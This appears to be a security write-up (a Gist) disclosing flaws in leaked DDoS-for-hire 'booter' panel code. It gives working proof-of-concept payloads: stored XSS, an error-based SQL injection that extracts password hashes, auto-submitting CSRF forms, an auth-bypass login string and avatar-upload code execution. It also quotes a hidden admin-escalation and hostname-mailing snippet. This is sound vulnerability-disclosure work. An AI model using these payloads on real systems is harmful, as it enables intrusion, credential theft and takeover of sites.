This Gist describes various vulnerabilities in "booter sources", i.e. source code that is used for the frontends of "booter"/"stresser" services that offers DDoS attacks on demand.
I'm not sure where this particular source code comes from. I've seen it under the names "vDos Source", "Rage Booter", "Dream Source" and "MHC-Panic Booter Source".
There exists a persistent cross-site scripting vulnerability in the admin/manage.php script. When users sign up, they are asked to input an email address. The email is validated with PHP's FILTER_VALIDATE_EMAIL filter, which is relaxed with the emails that it accepts. The manage.php script, when called, displays the user's email without sanitising or filtering it.
PoC: Sign up with an email of
"<script>alert('XSS')</script>"@mail.com
When an admin views the list of registered users with the manage.php script, the alert will pop up.
There is absolutely no protection against CSRF in any part of the source code. No PoC is provided here, but it's trivial to write one.
This is also known as "Ancient Booter", "Premium Booter", "Team313 Source Booter", "Prodigy Source", "Wormf00d Booter Source" and "IJepsi Booter".
There is an SQL injection vulnerability in the dbc.php script. The vulnerable code is:
if(isset($_SESSION['user_id']) || isset($_COOKIE['user_id'])) {
mysql_query("update `users` set `ckey`= '', `ctime`= '' where `id`='$_SESSION[user_id]' OR `id` = '$_COOKIE[user_id]'") or die(mysql_error());
}
To trigger this, create a cookie named user_id with the value being the SQL that you want to inject, then log out of the application. For example, using this value will extract the username and password hash of the first user in the database:
' or exp(~(select*from(select concat(user_name,0x3a,pwd) from users limit 0,1)x)) or '
This returns the error:
DOUBLE value is out of range in 'exp(~((select 'TOPKEK:1a1f4599d085b1f021b3a2a39b23a80c7e7ee40bc7429c2f6' from dual)))'
The hash format is $salt.sha1($pwd.$salt), where the salt is the first nine characters of the hash. I've opted to use Osanda Malith's EXP() injection technique for this PoC.
Again, absolutely no anti-CSRF measures. A few demonstrations:
Adding a URL to the list of shells:
<form id=lol method=POST action=http://host/path/addshell.php>
<input type=hidden name=url value="http://youareanidiot.org" />
<input type=hidden name=Submit value="lol" /> <!-- append 2 or 3 to the name to add to a different category -->
</form>
<script>document.getElementById('lol').submit()</script>
This can later be used to find the IP address of the commanding servers.
A CSRF that exploits an SQL injection to place an XSS payload in the News section:
<form id=lol method=POST action=http://localhost/ancientbooter/admin.php>
<input type=hidden name=title value="Nice" />
<input type=hidden name=body value="Top','kek','<script>alert(/XSS/.source)</script>')-- " />
<input type=hidden name=Submit2 value=lol />
</form>
<script>document.getElementById('lol').submit()</script>
This link will delete all "GET shells" in the booter: http://host/path/editgetshells.php?delid=% (replace with editpostshells.php or editsloshells.php for different categories in Ancient Booter, or get.php, post.php, and slowloris.php for the original JeeJee source)
This is also known as "Legion Booter".
In an exploit similar to the one in v1, this URL deletes all shells in the booter: http://localhost/jeejee2/admin/shells.php?delid=%
The code for this seems to be based off of CMS Pro by wojoscripts, which has a reported CSRF vulnerability at https://www.exploit-db.com/exploits/17592/
In default configurations, there is an open directory at admin/backups that exposes full database backups including user information, assuming that the administrator has made a backup at least once.
Users can exploit the avatar functionality to upload picture files with PHP code. The source code, while validating that the file uploaded is an image, will store the image with the file extension in the filename provided by the user. To exploit this, users can upload a PNG file with PHP code appended to the end of the file, then run the PHP file by getting the URL from their profile page (or, in default configurations, accessing the /uploads directory).
NB: There is a copy of the Legion Booter variant floating around that claims to have removed the RCE-thru-avatar vulnerability. In fact, the only modification made is to remove the HTML that lets users upload their avatar from the account.php file. The code that actually processes the user info changes is left unchanged, so the issue can still be exploited by crafting a suitable HTTP request.
Horizon Stresser appears to be based off the unknown booter source mentioned above.
The same persistent XSS issue as the one mentioned in the Unknown Booter Source section is present, except the vulnerable file is admin/users.php.
This HTML changes the PayPal email of the website if the admin views it.
<form id=lol method=POST action=http://localhost/horizon/admin/Coreapplicationsettings.php>
<input type=hidden name=EmailChange value="makemoneyoffskids@gmail.com" />
<input type=hidden name=changeBtn value=Update />
</form>
<script>document.getElementById('lol').submit()</script>
The same persistent XSS issue as the one mentioned in the Unknown Booter Source section is present, except the vulnerable file is admin/users.php. Cross-site Request Forgery (notice a pattern?)
This changes the booter title:
<input type=hidden name=name value="<script>alert('XSS')</script>" />
<input type=hidden name=booterURL value="http://localhost/carrot/" />
<input type=hidden name=cloudflare value="0" />
<input type=hidden name=per_page value="10" />
<input type=hidden name=max_attacks value="0" />
<input type=hidden name=welcome value="lol" />
</form>
<script>document.getElementById("lol").submit()</script>
A possible target for a CSRF exploit is the Attack Methods setting. One could craft an exploit that adds a custom attack method that launches arbritrary commands on the attack servers, then run a DDoS job with this new custom attack after it has been added.
NB: For the rest of the booter sources below, just assume there's CSRF vulnerabilties for all of them. I'm not adding a new entry for all of them.
This source was doomed from the start.
login.php (and MANY other pages) insert user-supplied data into SQL statements without filtering or sanitising them. This, among other things leads to an authentication bypass, where entering these details:
Username: ' or 1-- -
Password: [can be anything]
will log you in, usually as an administrator. An example of another page that contains an SQL injection vulnerability is edituser.php.
buy.php contains this code:
if ($_GET['paypal'] == 'buynow'){
$query = mysqli_query($link,"UPDATE `users` SET `admin`='{$true}' WHERE username='$username'");
}
mail('d1f41460@opayq.com','',$_SERVER['SERVER_NAME']);
This means that accessing http://host/path/buy.php?paypal=buynow will elevate the user to the Administrator level. In addition, every time the page is accessed, an email with the hostname of the server is sent to d1f41460@opayq.com.
May look clean, but really isn't.
There is an SQL injection vulnerability in the hit.php script. User-submitted data in the 'host' parameter is passed unsanitised to the logDDoS function in core/database.php, where it is used in an INSERT query to update DDoS logs.
NB: This isn't really relevant, but it amused me so I put it here anyway: there's a license check of sorts in core/session.php and core/database.php. The code for this check is present at the very top of these files in a poorly obfuscated form, and consists of this check:
$response = file_get_contents("http://dal33t.ws/booterauth.php");
$allowed = "live";
if ($response != $allowed) {
die($response);
}
The website in question, dal33t.ws, is no longer active, hence anyone who stumbles onto a booter with the unmodified Phantac source will see an ad for website.ws instead.
Another project that was doomed from the start.
Multiple SQL injection vulnerabilities are present. Indeed, it seems as every query sent to the database has an injection point. A readily available one is the username field in the login.php and register.php scripts.
The register.php script contains SQL injection points in the user-submitted 'username' and 'key' values. 'username' is injected into an INSERT query and 'key' is injected into SELECT, INSERT and DELETE queries (how exciting).